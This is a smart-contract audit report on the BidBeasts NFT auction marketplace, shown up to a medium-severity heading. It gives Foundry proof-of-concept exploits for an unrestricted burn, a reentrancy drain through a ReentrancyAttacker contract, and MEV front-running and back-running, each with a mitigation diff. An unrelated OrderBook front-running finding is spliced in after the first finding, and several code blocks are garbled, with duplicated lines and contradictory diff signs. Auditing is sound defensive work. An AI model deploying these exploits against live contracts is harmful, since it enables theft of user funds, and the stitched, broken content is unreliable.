



# BidBeasts NFT Marketplace Audit Report

Version 1.0

X: *@AlexScherbatyuk*

October 02, 2025

# BidBeasts NFT Marketplace Audit Report

Alexander Scherbatyuk

October 02, 2025

Prepared by: X: @AlexScherbatyuk Lead Auditors: - Alexander Scherbatyuk

## Table of Contents

- Table of Contents
- Protocol Summary
- Disclaimer
- Risk Classification
- Audit Details
  - Scope
  - Roles
- Executive Summary
  - Issues found
- Findings
  - High
    - \* [H-1] The `BidBeasts::burn` function has no access controls, allowing a non-owner to burn any NFT at any time, including while listed on the marketplace.
    - \* [H-2] The `BidBeastsNFTMarket::withdrawAllFailedCredits` function incorrectly checks the `_receiver` balance instead of the `msg.sender` balance, making the state change before the external call ineffective and creating a direct reentrancy attack vulnerability.

- \* [H-3] The `BidBeastsNFTMarket` contract is missing the `endAuction(tokenId)` function described in the documentation, creating a direct MEV attack opportunity for backrunning.
- Medium
  - \* [M-1] The `BidBeastsNFTMarket::takeHighestBid` function allow seller to settle the auction before the auction ends accepting the highest bid, creating an MEV attack opportunity for frontrunning.
  - \* [M-2] The `BidBeastsNFTMarket::withdrawAllFailedCredits` function sends funds to `msg.sender` instead of `_receiver`, failed transfer funds cannot be withdrawn leading to funds loss and denial of service (DoS).
  - \* [M-3] Precision loss in `BidBeastsNFTMarket::placeBid` function calculation of `requiredAmount` for next bid, possibly causing denial of service.
  - \* [M-4] The `BidBeastsNFTMarket::placeBid` function emits the `AuctionSettled` event on any bid placement, causing misinformation and confusion for users.
- Low
  - \* [L-1] The `BidBeastsNFTMarket::takeHighestBid` function is missing a period check, creating some level of unclear information and confusion for users.

## Protocol Summary

This smart contract implements a basic auction-based NFT marketplace for the `BidBeasts` ERC721 token. It enables NFT owners to list their tokens for auction, accept bids from participants, and settle auctions with a platform fee mechanism.

The project was developed using Solidity, OpenZeppelin libraries, and is designed for deployment on Ethereum-compatible networks.

## Disclaimer

The @AlexScherbatyuk makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

## Risk Classification

|            |        | Impact |        |     |
|------------|--------|--------|--------|-----|
|            |        | High   | Medium | Low |
| Likelihood | High   | H      | H/M    | M   |
|            | Medium | H/M    | M      | M/L |
|            | Low    | M      | M/L    | L   |

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

## Audit Details

### Scope

```
1 src/
2 --- BidBeasts_NFT_ERC721.sol
3 --- BidBeastsNFTMarketPlace.sol
```

### Roles

- **Seller (NFT Owner)**
  - Owns a `BidBeasts` NFT and lists it for auction.
  - Receives payment if the auction is successful.
- **Bidder (Buyer)**
  - Places ETH bids on active auctions.
  - Receives the NFT if they win the auction.
- **Contract Owner (Platform Admin)**
  - Deployed the marketplace contract.
  - Can withdraw accumulated platform fees.

## Executive Summary

### Issues found

| Severity          | Number of issues found |
|-------------------|------------------------|
| High              | 3                      |
| Medium            | 4                      |
| Low               | 1                      |
| Info              | 0                      |
| Gas Optimizations | 0                      |
| Total             | 8                      |

## Findings

### High

**[H-1] The BidBeasts::burn function has no access controls, allowing a non-owner to burn any NFT at any time, including while listed on the marketplace.**

**Description:** The `BidBeasts::burn` function is public and lacks access controls, allowing any address to burn any NFT. This poses a serious security risk as it enables unauthorized destruction of NFTs. **Impact:** This could result in financial loss for the owner, as they would be unable to recover the NFT. Additionally, it could cause financial loss for buyers and severely disrupt the intended functionality of the `BidBeastsNFTMarket` contract, as it allows bidding on non-existent NFTs due to its reliance on transferring access control from `sellers` to the `marketplace`.

**Proof of Concept:** Add the following code snippet to the `BidBeastsMarketPlaceTest.t.sol` test file.

This test verifies that the `BidBeasts::burn` function allows a non-owner to burn an NFT.

```

1 event BidBeastsBurn(address indexed from, uint256 indexed tokenId);
2
3
4 function testNoAccessControlToBurnNFTAnyoneCanBurnAnyNFT() public {
5     // Arrange
6     // 1. Define address of non-NFT owner
7     address NOT_NFT_OWNER = makeAddr("notNFTOwner");
8     console.log("Non-NFT owner address is: ", NOT_NFT_OWNER);
9
10    // 2. Contract owner mints NFT to seller
11    vm.prank(OWNER);
12    nft.mint(SELLER);

```

```

13
14     uint256 tokenId = nft.CurrenTokenID() - 1;
15     address beforeNftOwner = nft.ownerOf(tokenId);
16     console.log("The NFT owner address is: ", beforeNftOwner);
17
18     // 3. Seller lists NFT
19     vm.startPrank(SELLER);
20     nft.approve(address(market), TOKEN_ID);
21     market.listNFT(TOKEN_ID, MIN_PRICE, BUY_NOW_PRICE);
22     vm.stopPrank();
23
24     BidBeastsNFTMarket.Listing memory listingBeforeBurning = market.
25         getListing(TOKEN_ID);
26     bool nftIsListedBeforeBurning = listingBeforeBurning.listed;
27     address afterListingNftOwner = nft.ownerOf(tokenId);
28     console.log("Market address is: ", address(market));
29     console.log("NFT is listed: ", nftIsListedBeforeBurning);
30     console.log("New NFT owner address after listing is: ",
31         afterListingNftOwner);
32
33     // Act
34     // 4. A non-NFT owner tries to burn NFT
35     vm.prank(NOT_NFT_OWNER);
36     vm.expectEmit(true, true, false, false, address(nft));
37     emit BidBeastsBurn(NOT_NFT_OWNER, tokenId);
38     nft.burn(tokenId);
39     BidBeastsNFTMarket.Listing memory listingAfterBurning = market.
40         getListing(TOKEN_ID);
41     bool nftIsListedAfterBurning = listingAfterBurning.listed;
42     // Assert
43     assertEq(beforeNftOwner, SELLER, "Seller is owner of the NFT after
44         minting");
45     assertEq(afterListingNftOwner, address(market), "Market is the
46         owner after NFT is listed");
47     assertNotEq(beforeNftOwner, NOT_NFT_OWNER, "NFT owner is not the
48         non-NFT owner");
49     assertNotEq(afterListingNftOwner, NOT_NFT_OWNER, "Market owner is
50         not the non-NFT owner");
51     assertEq(nftIsListedBeforeBurning, true, "NFT is listed");
52     assertEq(nftIsListedAfterBurning, true, "NFT is still listed after
53         burning");
54
55     console.log("NFT has been successfully burned by non-NFT owner
56         while listed!");
57 }
```

**Recommended Mitigation:** Add an access control check to the `BidBeasts::burn` function to allow only the owner of the NFT to burn it.

```

1     function burn(uint256 _tokenId) public {
2 +         require(ownerOf(_tokenId) == msg.sender, "Not the owner of the
3             NFT");
4         _burn(_tokenId);
5         emit BidBeastsBurn(msg.sender, _tokenId);

```

## Description

The contract permits the seller to amend an active sell order, including drastically reducing `amountToSell`, at any time before the transaction is mined. The `buyOrder` function performs no verification of the current `amountToSell` against what the buyer expects.

An attacker can:

1. Create a legitimate-looking sell order.
2. Monitor the mempool for an incoming `buyOrder` transaction targeting their order.
3. Front-run the buy transaction with `amendSellOrder`, reducing `amountToSell` to a minimal value (e.g., 1 wei) while keeping `priceInUSDC` unchanged.
4. The buyer's transaction still executes, transferring nearly the full original `priceInUSDC` to the attacker while delivering almost no tokens.
5. The attacker simultaneously receives a refund of almost all originally deposited tokens.

```

1 @> function amendSellOrder(
2     uint256 _orderId,
3     uint256 _newAmountToSell,
4     uint256 _newPriceInUSDC,
5     uint256 _newDeadlineDuration
6 ) public {
7     Order storage order = orders[_orderId];
8
9     // Validation checks
10    if (order.seller == address(0)) revert OrderNotFound(); // Check if
11        order exists
12    if (order.seller != msg.sender) revert NotOrderSeller();
13    if (!order.isActive) revert OrderAlreadyInactive();
14    if (block.timestamp >= order.deadlineTimestamp) revert OrderExpired
15        (); // Cannot amend expired order
16    if (_newAmountToSell == 0) revert InvalidAmount();
17    if (_newPriceInUSDC == 0) revert InvalidPrice();
18    if (_newDeadlineDuration == 0 || _newDeadlineDuration >
19        MAX_DEADLINE_DURATION) revert InvalidDeadline();
20
21    uint256 newDeadlineTimestamp = block.timestamp +
22        _newDeadlineDuration;
23    IERC20 token = IERC20(order.tokenToSell);
24
25    // Handle token amount changes
26    if (_newAmountToSell > order.amountToSell) {

```

```

23         // Increasing amount: Transfer additional tokens from seller
24         uint256 diff = _newAmountToSell - order.amountToSell;
25         token.safeTransferFrom(msg.sender, address(this), diff);
26     } else if (_newAmountToSell < order.amountToSell) {
27         // Decreasing amount: Transfer excess tokens back to seller
28         uint256 diff = order.amountToSell - _newAmountToSell;
29         token.safeTransfer(order.seller, diff);
30     }
31     // Update order details
32     order.amountToSell = _newAmountToSell;
33     order.priceInUSDC = _newPriceInUSDC;
34     order.deadlineTimestamp = newDeadlineTimestamp;
35     emit OrderAmended(_orderId, _newAmountToSell, _newPriceInUSDC,
36                       newDeadlineTimestamp);
37 }
38 .
39 .
40 @> function buyOrder(uint256 _orderId) public {
41     Order storage order = orders[_orderId];
42     // Validation checks
43     if (order.seller == address(0)) revert OrderNotFound();
44     if (!order.isActive) revert OrderNotActive();
45     if (block.timestamp >= order.deadlineTimestamp) revert OrderExpired
46     ();
47     order.isActive = false;
48     uint256 protocolFee = (order.priceInUSDC * FEE) / PRECISION;
49     uint256 sellerReceives = order.priceInUSDC - protocolFee;
50     iUSDC.safeTransferFrom(msg.sender, address(this), protocolFee);
51     iUSDC.safeTransferFrom(msg.sender, order.seller, sellerReceives);
52     IERC20(order.tokenToSell).safeTransfer(msg.sender, order.
53     amountToSell);
54     totalFees += protocolFee;
55     emit OrderFilled(_orderId, msg.sender, order.seller);
56 }

```

## Impact

Buyers can lose ~100% of their funds. The attacker receives full payment (minus protocol fee) for delivering a negligible amount of tokens, effectively stealing from every buyer. This renders the marketplace completely untrustworthy.

## Proof of Concept

The following Foundry test demonstrates the exploit: Add the following code snippet to the `TestOrderBook.t.sol` test file.

This test verifies that the `buyOrder` function lacks an order amount check, allowing the owner to

modify the order before the buy.

```

1 function test_amendSellOrderToZero() public {
2     // Alice creates sell order: 2e8 WBTC for 180_000 USDC
3     vm.startPrank(alice);
4     wbtc.approve(address(book), 2e8);
5     uint256 aliceId = book.createSellOrder(address(wbtc), 2e8, 180
6         _000e6, 2 days);
7     vm.stopPrank();
8
9     // Attacker (Alice) front-runs the buy and reduces amount to 1 unit
10    vm.prank(alice);
11    book.amendSellOrder(aliceId, 1, 180_000e6, 2 days);
12    vm.stopPrank();
13
14    // Dan buys, expecting 2e8 WBTC but receives only 1 unit
15    vm.startPrank(dan);
16    usdc.approve(address(book), 200_000e6);
17    book.buyOrder(aliceId);
18    vm.stopPrank();
19
20    assertEq(wbtc.balanceOf(alice), 199999999); // Got almost all WBTC
21        back
22    assertEq(usdc.balanceOf(alice), 180_000e6 - (180_000e6 * book.FEE()
23        / book.PRECISION()));
24    assertEq(wbtc.balanceOf(dan), 1);           // Dan paid full price
25        for 1 unit
26 }
```

**Recommended mitigation** Require the buyer to specify the exact amount they expect to purchase and validate it against the current order state:

```

1 - function buyOrder(uint256 _orderId) public {
2 + function buyOrder(uint256 _orderId, uint256 _amountToBuy) public {
3     Order storage order = orders[_orderId];
4
5     if (order.seller == address(0)) revert OrderNotFound();
6     if (!order.isActive) revert OrderNotActive();
7     if (block.timestamp >= order.deadlineTimestamp) revert OrderExpired
8     ();
9
10    if (_amountToBuy != order.amountToSell) revert InvalidAmount(); // Prevents front-run changes
11
12    order.isActive = false;
13    uint256 protocolFee = (order.priceInUSDC * FEE) / PRECISION;
14    uint256 sellerReceives = order.priceInUSDC - protocolFee;
15
16    iUSDC.safeTransferFrom(msg.sender, address(this), protocolFee);
17    iUSDC.safeTransferFrom(msg.sender, order.seller, sellerReceives);
18    IERC20(order.tokenToSell).safeTransfer(msg.sender, order.
19        amountToSell);
```

```

17     totalFees += protocolFee;
18
19     emit OrderFilled(_orderId, msg.sender, order.seller);
20 }
21 }
```

Additional stronger options (recommended to combine with the above):

Disallow decreasing amountToSell after order creation. Lock price and amount once the order is live (allow only deadline extensions). Use a commit-reveal or signed order scheme for off-chain orders.

**[H-2] The BidBeastsNFTMarket::withdrawAllFailedCredits function incorrectly checks the \_receiver balance instead of the msg.sender balance, making the state change before the external call ineffective and creating a direct reentrancy attack vulnerability.**

**Description:** The `BidBeastsNFTMarket::withdrawAllFailedCredits` function has an incorrect balance check. Instead of checking the `msg.sender`'s balance, it checks the `_receiver`'s balance and sets the `msg.sender`'s balance to 0 before making an external call. This makes the state change mitigation for reentrancy attacks ineffective. The external call uses the `_receiver` storage value to send funds but treats `msg.sender` as the recipient address, creating a vulnerability.

**Impact:** This vulnerability puts user and protocol funds at risk, enabling a complete drain of both through a direct reentrancy attack.

**Proof of Concept:** Add the following code snippet to the `BidBeastsMarketPlaceTest.t.sol` test file.

ReentrancyAttacker contract for reentrancy attack demonstration.

```

1 contract ReentrancyAttacker {
2     BidBeastsNFTMarket victim;
3     address public rejector;
4     uint256 public counter = 0;
5
6     constructor(BidBeastsNFTMarket _victim, address _rejector) {
7         victim = _victim;
8         rejector = _rejector;
9     }
10
11    function attack(address _receiver) public payable {
12        victim.withdrawAllFailedCredits(_receiver);
13    }
14
15    receive() external payable {
16        console.log("balance of victim: ", address(victim).balance);
17        if (address(victim).balance >= 1 ether) {
18            counter++;
19        }
20    }
21 }
```

```

19         victim.withdrawAllFailedCredits(rejector);
20     }
21 }
22 }
```

Reentrancy attack test.

```

1
2 function testReentrancyAttack() public {
3     ReentrancyAttacker reentrancyAttacker = new ReentrancyAttacker(
4         market, address(rejector));
5     uint256 S_MIN_INCREMENT_PERCENTAGE = 5;
6
7     vm.deal(address(market), 10 ether);
8
9     // Owner mints NFT to the user `SELLER`
10    vm.startPrank(OWNER);
11    nft.mint(SELLER);
12    vm.stopPrank();
13
14    // The `SELLER` lists the NFT
15    vm.startPrank(SELLER);
16    nft.approve(address(market), TOKEN_ID);
17    market.listNFT(TOKEN_ID, MIN_PRICE, BUY_NOW_PRICE);
18    vm.stopPrank();
19
20    uint256 attackerBalanceBeforeAttack = address(reentrancyAttacker).
21        balance;
22    console.log("balance of attacker before attack: ",
23        attackerBalanceBeforeAttack);
24    // The attacker uses `rejector contract` to place a bid
25
26    uint256 firstBidAmount = MIN_PRICE + 1;
27    hoax(address(rejector), 100 ether);
28    market.placeBid{value: firstBidAmount}(TOKEN_ID);
29
30    // Attacker waits for the next bid, or place a bid with another
31    // bidder, or let the auction end
32    // Another bidder sets a bid
33
34    uint256 secondBidAmount = firstBidAmount + (firstBidAmount *
35        S_MIN_INCREMENT_PERCENTAGE) / 100;
36    vm.prank(BIDDER_1);
37    market.placeBid{value: secondBidAmount}(TOKEN_ID);
38
39    assertTrue(
40        market.failedTransferCredits(address(rejector)) > 0, "Failed
41        transfer credits should be greater than 0"
42    );
43    // The rejector contract rejects the refund
44    // Attacker then calls the `withdrawAllFailedCredits` function from
```

```

39     reentrancy contract 'AttackerContract'
40     // on behalf of `rejector` address
41
41     console.log("balance of market before attack: ", address(market).balance);
42     console.log("\n");
43     console.log("===== Reentrancy attack started =====");
44     reentrancyAttacker.attack(address(rejector));
45
46     console.log("Number of reentrancy attacks: ", reentrancyAttacker.counter());
47     console.log("===== Reentrancy attack ended =====");
48     console.log("\n");
49
50     uint256 attackerBalanceAfterAttack = address(reentrancyAttacker).balance;
51
52     assertGt(attackerBalanceAfterAttack, attackerBalanceBeforeAttack, "Attacker balance should be greater");
53     console.log("attacker balance after attack: ", attackerBalanceAfterAttack);
54 }
```

**Recommended Mitigation:** Modify the `BidBeastsNFTMarket::withdrawAllFailedCredits` function to check the `msg.sender`'s balance instead of the `_receiver`'s balance and use `_receiver` as the recipient.

```

1   function withdrawAllFailedCredits(address _receiver) external {
2     require(_receiver != address(0), "Receiver cannot be address(0)");
3     uint256 amount = failedTransferCredits[_receiver];
4     uint256 amount = failedTransferCredits[msg.sender];
5     require(amount > 0, "No credits to withdraw");
6
7     failedTransferCredits[msg.sender] = 0;
8     (bool success,) = payable(msg.sender).call{value: amount}("");
9     (bool success,) = payable(_receiver).call{value: amount}("");
10    require(success, "Withdraw failed");
11 }
```

**[H-3] The BidBeastsNFTMarket contract is missing the `endAuction(tokenId)` function described in the documentation, creating a direct MEV attack opportunity for backrunning.**

**Description:** The current implementation is missing the `BidBeastsNFTMarket::endAuction(tokenId)` function described in the documentation under the `Auction Completion` section:  
- After a 3-day duration, anyone can call `endAuction(tokenId)` to finalize the auction.  
- If the highest bid meets or exceeds the minimum price:  
- The NFT is transferred to the winning bidder.  
- The

seller receives payment minus a 5% marketplace fee. - If no valid bids were made: - The NFT is returned to the original seller.

This omission creates a backrunning opportunity for bid manipulation, as the contract does not enforce the end of the auction after three days, allowing the auction period to be extended until a bid meets the `buyNowPrice`.

**Impact:** This vulnerability creates a Miner Extractable Value (MEV) attack opportunity for backrunning due to the possible extension of the auction beyond three days. Attackers can manipulate transaction ordering to place bids until one meets the `buyNowPrice` or bidding ceases, undermining the auction's integrity and potentially causing financial losses for legitimate bidders and sellers.

**Proof of Concept:** Add the following code snippet to the `BidBeastsMarketPlaceTest.t.sol` test file.

```
1 function testBackrunningToManipulateBid() public {
2     uint256 S_MIN_BID_INCREMENT_PERCENTAGE = 5;
3     address ATTACKER = makeAddr("attacker"); // possibly the seller
4     second account
5     vm.deal(ATTACKER, 100 ether);
6
7     // Owner mints NFT to the user `SELLER`
8     vm.startPrank(OWNER);
9     nft.mint(SELLER);
10    vm.stopPrank();
11
12    // The `SELLER` lists the NFT
13    vm.startPrank(SELLER);
14    nft.approve(address(market), TOKEN_ID);
15    market.listNFT(TOKEN_ID, MIN_PRICE, BUY_NOW_PRICE);
16    vm.stopPrank();
17
18    // BIDDER_1 places a bid
19    vm.prank(BIDDER_1);
20    market.placeBid{value: MIN_PRICE + 1}(TOKEN_ID);
21
22    BidBeastsNFTMarket.Bid memory firstHighestBid = market.
23        getHighestBid(TOKEN_ID);
24    BidBeastsNFTMarket.Listing memory listing = market.getListing(
25        TOKEN_ID);
26
27    // ATTACKER:
28    // waits for end of extention auction perioud
29    vm.warp(listing.auctionEnd - 1 minutes);
30    console.log("Auction current period due: ", listing.auctionEnd);
31    // places a bid to increas latest bid value and extend auction
32    // period
33    uint256 secondBidAmount =
34        firstHighestBid.amount + (firstHighestBid.amount *
```

```

31         S_MIN_BID_INCREMENT_PERCENTAGE) / 100;
32     vm.prank(ATTACKER);
33     market.placeBid{value: secondBidAmount}(TOKEN_ID);
34
35     BidBeastsNFTMarket.Listing memory listingAfter = market.getListing(
36         TOKEN_ID);
37     console.log("Auction extended period due: ", listingAfter.
38         auctionEnd);
39     assertTrue(listingAfter.auctionEnd >= block.timestamp);
40
41     // Attacker repeats the process until the bid is meat or exceeds
42     // the buyNowPrice
43
44     BidBeastsNFTMarket.Listing memory listingBuyNow = market.getListing
45         (TOKEN_ID);
46     vm.prank(BIDDER_2);
47     vm.expectEmit(true, true, true, true, address(market));
48     emit AuctionSettled(TOKEN_ID, BIDDER_2, SELLER, listingBuyNow.
49         buyNowPrice);
50     market.placeBid{value: listingBuyNow.buyNowPrice}(TOKEN_ID);
51 }
```

**Recommended Mitigation:** Possible mitigation is to implement the missing `BidBeastsNFTMarket ::endAuction(tokenId)` function to allow anyone to finalize the auction after a three-day duration, as designed, to limit the auction period.

```

1  // --- Structs ---.
2  struct Listing {
3      address seller;
4      uint256 minPrice;
5      uint256 buyNowPrice;
6      + uint256 listedDate;
7      bool listed;
8  }
9 ...
10
11 function listNFT(uint256 tokenId, uint256 _minPrice, uint256
12     _buyNowPrice) external {
13     require(BBERC721.ownerOf(tokenId) == msg.sender, "Not the owner");
14     require(_minPrice >= S_MIN_NFT_PRICE, "Min price too low");
15
16     if (_buyNowPrice > 0) {
17         require(_minPrice <= _buyNowPrice, "Min price cannot exceed buy
18             now price");
19     }
20
21     BBERC721.transferFrom(msg.sender, address(this), tokenId);
22
23     listings[tokenId] = Listing({
24         seller: msg.sender,
```

```

23         minPrice: _minPrice,
24         buyNowPrice: _buyNowPrice,
25 +         listedDate: block.timestamp,
26         listed: true
27     });
28
29     emit NftListed(tokenId, msg.sender, _minPrice, _buyNowPrice);
30 }
31
32 + function endAuction(uint256 tokenId) external isListed(tokenId) {
33 +     Listing memory tokenListing = listings[tokenId];
34 +     Bid memory tokenBid = bids[tokenId];
35 +     require(
36 +         block.timestamp >= tokenListing.auctionEnd + 3 days || block.
37 +         timestamp >= tokenListing.listedDate + 3 days,
38 +         "Auction did not exceed 3 days period"
39 +     );
40 +
41 +     if (tokenBid.amount >= tokenListing.minPrice) {
42 +         _executeSale(tokenId);
43 +     } else {
44 +         Listing storage listing = listings[tokenId];
45 +         listing.listed = false;
46 +         BBERC721.transferFrom(address(this), tokenListing.seller,
47 +         tokenId);
48 +         emit NftUnlisted(tokenId);
49 +     }
50 + }
```

## Medium

**[M-1] The BidBeastsNFTMarket::takeHighestBid function allow seller to settle the auction before the auction ends accepting the highest bid, creating an MEV attack opportunity for frontrunning.**

**Description:** The `BidBeastsNFTMarket::takeHighestBid` function allows the seller to settle the auction before the auction ends accepting the highest bid, allowing an attacker to frontrun the seller's transaction to take the highest bid by placing a higher bid just before the seller's transaction is mined.

**Impact:** This vulnerability creates a Miner Extractable Value (MEV) attack opportunity for frontrunning the seller's transaction to accept the highest bid, disrupting the protocol's intended functionality and allowing attackers to manipulate auction results.

**Proof of Concept:** Add the following code snippet to the `BidBeastsMarketPlaceTest.t.sol` test file.

This test is designed to demonstrate the Miner Extractable Value (MEV) attack opportunity for frontrunning the seller's transaction to take the highest bid in the `BidBeastsNFTMarket::takeHighestBid` function.

```

1  function testFrontRunningTakeHighestBid() public {
2      // Arrange
3      uint256 S_MIN_BID_INCREMENT_PERCENTAGE = 5;
4      // attacker address
5      address ATTACKER = makeAddr("attacker");
6
7      console.log("\n Arrange");
8      console.log("ATTACKER address: ", ATTACKER);
9      console.log("BIDDER_1 address: ", BIDDER_1);
10     console.log("BIDDER_2 address: ", BIDDER_2);
11
12     // 1. Contract owner mints NFT to seller
13     vm.startPrank(OWNER);
14     nft.mint(SELLER);
15     vm.stopPrank();
16
17     // 2. Seller lists NFT
18     vm.startPrank(SELLER);
19     nft.approve(address(market), TOKEN_ID);
20     market.listNFT(TOKEN_ID, MIN_PRICE, BUY_NOW_PRICE);
21     vm.stopPrank();
22
23     // 3. Pre defined Bidders 1 places a bid
24     vm.prank(BIDDER_1);
25     market.placeBid{value: MIN_PRICE + 1}(TOKEN_ID);
26     BidBeastsNFTMarket.Bid memory firstHighestBid = market.
27         getHighestBid(TOKEN_ID);
28
29     console.log("\n Auction started\n");
30     console.log("First bid has been placed\n");
31     console.log("BIDDER_1 bid: ", firstHighestBid.amount);
32     console.log("BIDDER_1 bidder: ", firstHighestBid.bidder);
33
34     uint256 secondBidAmount =
35         firstHighestBid.amount + (firstHighestBid.amount *
36             S_MIN_BID_INCREMENT_PERCENTAGE) / 100;
37     vm.prank(BIDDER_2);
38     market.placeBid{value: secondBidAmount}(TOKEN_ID);
39     BidBeastsNFTMarket.Bid memory secondHighestBid = market.
40         getHighestBid(TOKEN_ID);
41
42     console.log("\n");
43     console.log("Second bid has been placed\n");

```

```

41     console.log("BIDDER_2 bid: ", secondHighestBid.amount);
42     console.log("BIDDER_2 bidder: ", secondHighestBid.bidder);
43
44     console.log("\n");
45     console.log("Seller decide to take highest bid");
46     console.log("Seller's transaction has been placed to mempool");
47
48     uint256 attackerBidAmount =
49         secondHighestBid.amount + (secondHighestBid.amount *
50             S_MIN_BID_INCREMENT_PERCENTAGE) / 100;
51
52     hoax(ATTACKER, 100 ether);
53     market.placeBid{value: attackerBidAmount}(TOKEN_ID);
54     BidBeastsNFTMarket.Bid memory attackerHighestBid = market.
55         getHighestBid(TOKEN_ID);
56
57     console.log("\n");
58     console.log("Attacker's bid has been placed, with a higher priority
59         fee");
60     console.log("Attacker's bid: ", attackerHighestBid.amount);
61     console.log("Attacker's bidder: ", attackerHighestBid.bidder);
62
63     console.log("\n");
64     console.log("Seller's transaction has been included in the block");
65     vm.prank(SELLER);
66     market.takeHighestBid(TOKEN_ID);
67
68     console.log("Supposed winner of the NFT auction is BIDDER_2: ",
69         secondHighestBid.bidder);
70     console.log("Actual winner of the NFT auction is ATTACKER: ",
71         attackerHighestBid.bidder);
72     assertEq(attackerHighestBid.bidder, nft.ownerOf(TOKEN_ID), "
73         Attacker has won the NFT auction");
74 }
```

**Recommended Mitigation:** Possible mitigations are: 1. remove this function as it is not crucial for the protocol functionality.

2. enforce a cooldown after every bid, except the bid that is equal or greater than the `buyNowPrice`, to allow seller to accept the highest bid before the auction ends.

```

1     ...
2     // --- Constants ---
3     uint256 public constant S_AUCTION_EXTENSION_DURATION = 15
4         minutes;
5     uint256 public constant S_MIN_NFT_PRICE = 0.01 ether;
6     uint256 public constant S_FEE_PERCENTAGE = 5;
7     uint256 public constant S_MIN_BID_INCREMENT_PERCENTAGE = 5;
8     + uint256 public constant S_COOLDOWN_DURATION = 1 minutes;
```

```

9         // --- State Variables ---
10        uint256 public s_totalFee;
11        + uint256 public s_cooldown; // reset after every bid
12        mapping(uint256 => Listing) public listings;
13        mapping(uint256 => Bid) public bids;
14        mapping(address => uint256) public failedTransferCredits;
15
16        ...
17
18        function placeBid(uint256 tokenId) external payable isListed(
19            tokenId) {
20            ...
21            + require(block.timestamp > s_cooldown, "Cooldown period not
22            passed");
23            require(msg.sender != previousBidder, "Already highest
24            bidder");
25            ...
26            // EFFECT: update highest bid
27            bids[tokenId] = Bid(msg.sender, msg.value);
28            + s_cooldown = block.timestamp + S_COOLDOWN_DURATION;
29            ...
30            ...
31            function takeHighestBid(uint256 tokenId) external isListed(
32                tokenId) isSeller(tokenId, msg.sender) {
33                ...
34                require(listings[tokenId].auctionEnd > block.timestamp, "
35                Auction has ended");
36                Bid storage bid = bids[tokenId]; // creates a link to bids[
37                tokenId] value, why ?
38                require(bid.amount >= listings[tokenId].minPrice, "Highest
39                bid is below min price");
40
41                _executeSale(tokenId);
42            }
43            ...

```

**[M-2] The BidBeastsNFTMarket::withdrawAllFailedCredits function sends funds to msg.sender instead of \_receiver, failed transfer funds cannot be withdrawn leading to funds loss and denial of service (DoS).**

**Description:** The `BidBeastsNFTMarket::withdrawAllFailedCredits` function sends funds to `msg.sender` instead of `_receiver`, repeating the same failure path for failed transfers.

**Impact:** Failed transfer funds cannot be withdrawn. Funds loss for users. Breaking the contract's intended functionality.

**Proof of Concept:** Add the following code snippet to the `BidBeastsMarketPlaceTest.t.sol` test file.

```

1  function testDenialOfService() public {
2      uint256 S_MIN_BID_INCREMENT_PERCENTAGE = 5;
3
4      address SECOND_USER_ADDRESS = makeAddr("otherUser");
5
6      // Mint NFT to the user `BIDDER_1`
7      vm.startPrank(OWNER);
8      nft.mint(SELLER);
9      vm.stopPrank();
10
11     // The `SELLER` lists the NFT
12     vm.startPrank(SELLER);
13     nft.approve(address(market), TOKEN_ID);
14     market.listNFT(TOKEN_ID, MIN_PRICE, BUY_NOW_PRICE);
15     vm.stopPrank();
16
17     // The uses `rejector contract` to place a bid
18     uint256 firstBidAmount = MIN_PRICE + 1;
19     hoax(address(rejector), 100 ether);
20     market.placeBid{value: firstBidAmount}(TOKEN_ID);
21
22     // Another bidder sets a bid
23     uint256 secondBidAmount = firstBidAmount + (firstBidAmount *
24         S_MIN_BID_INCREMENT_PERCENTAGE) / 100;
25     vm.prank(BIDDER_1);
26     market.placeBid{value: secondBidAmount}(TOKEN_ID);
27
28     // user's `rejector contract` rejects the refund intended for
29     // previousBidder address
30     // failed funds are added to failedTransferCredits mapping
31
32     assertTrue(
33         market.failedTransferCredits(address(rejector)) > 0, "Failed
34             transfer credits should be greater than 0"
35     );
36
37     // user tries to withdraw failed funds to second address
38     vm.prank(address(rejector));
39     vm.expectRevert("No credits to withdraw");
40     market.withdrawAllFailedCredits(SECOND_USER_ADDRESS);
41 }
```

**Recommended Mitigation:** Modify the `BidBeastsNFTMarket::withdrawAllFailedCredits` function to send funds to `_receiver` instead of `msg.sender`.

```
1  function withdrawAllFailedCredits(address _receiver) external {
```

```

2 +     require(_receiver != address(0), "Receiver cannot be address
3 -         (0)");
4 +     uint256 amount = failedTransferCredits[_receiver];
5 +     uint256 amount = failedTransferCredits[msg.sender];
6     require(amount > 0, "No credits to withdraw");
7 
8 -     failedTransferCredits[msg.sender] = 0;
9 +     (bool success,) = payable(msg.sender).call{value: amount}("");
10 +    (bool success,) = payable(_receiver).call{value: amount}("");
11     require(success, "Withdraw failed");
12 }
```

**[M-3] Precision loss in BidBeastsNFTMarket::placeBid function calculation of requiredAmount for next bid, possibly causing denial of service.**

**Description:** The current implementation of the `requiredAmount` formula calculation loses precision for some bid amounts, causing some valid bids to revert.

**Impact:** Denial of service for users.

**Proof of Concept:** Add the following code snippet to the `BidBeastsMarketPlaceTest.t.sol` test file.

```

1 function testRequiredAmountCalculation(uint256 bidAmount) public pure {
2     bidAmount = bound(bidAmount, 0.01 ether, 1 ether);
3     uint256 S_MIN_BID_INCREMENT_PERCENTAGE = 5;
4     uint256 previousBidAmount = bidAmount;
5     uint256 requiredAmountCorrect = previousBidAmount + (
6         previousBidAmount * S_MIN_BID_INCREMENT_PERCENTAGE) / 100;
7     uint256 requiredAmountInCorrect = (previousBidAmount / 100) * (100
8         + S_MIN_BID_INCREMENT_PERCENTAGE);
9 
10    uint256 precisionDifference = requiredAmountCorrect -
11        requiredAmountInCorrect;
12 
13    console.log("Precision difference: ", precisionDifference);
14    assertEq(precisionDifference, 0, "Precision difference is greater
15        than 0");
16 }
```

**Recommended Mitigation:** Modify the `BidBeastsNFTMarket::placeBid` function to calculate the `requiredAmount` correctly.

```

1     function placeBid(uint256 tokenId) external payable isListed(
2         tokenId) {
3             ...
4 }
```

```

4 -     requiredAmount = (previousBidAmount / 100) * (100 +
5 +         S_MIN_BID_INCREMENT_PERCENTAGE);
6 }     requiredAmount = previousBidAmount + (previousBidAmount *
S_MIN_BID_INCREMENT_PERCENTAGE) / 100;

```

**[M-4] The BidBeastsNFTMarket::placeBid function emits the AuctionSettled event on any bid placement, causing misinformation and confusion for users.**

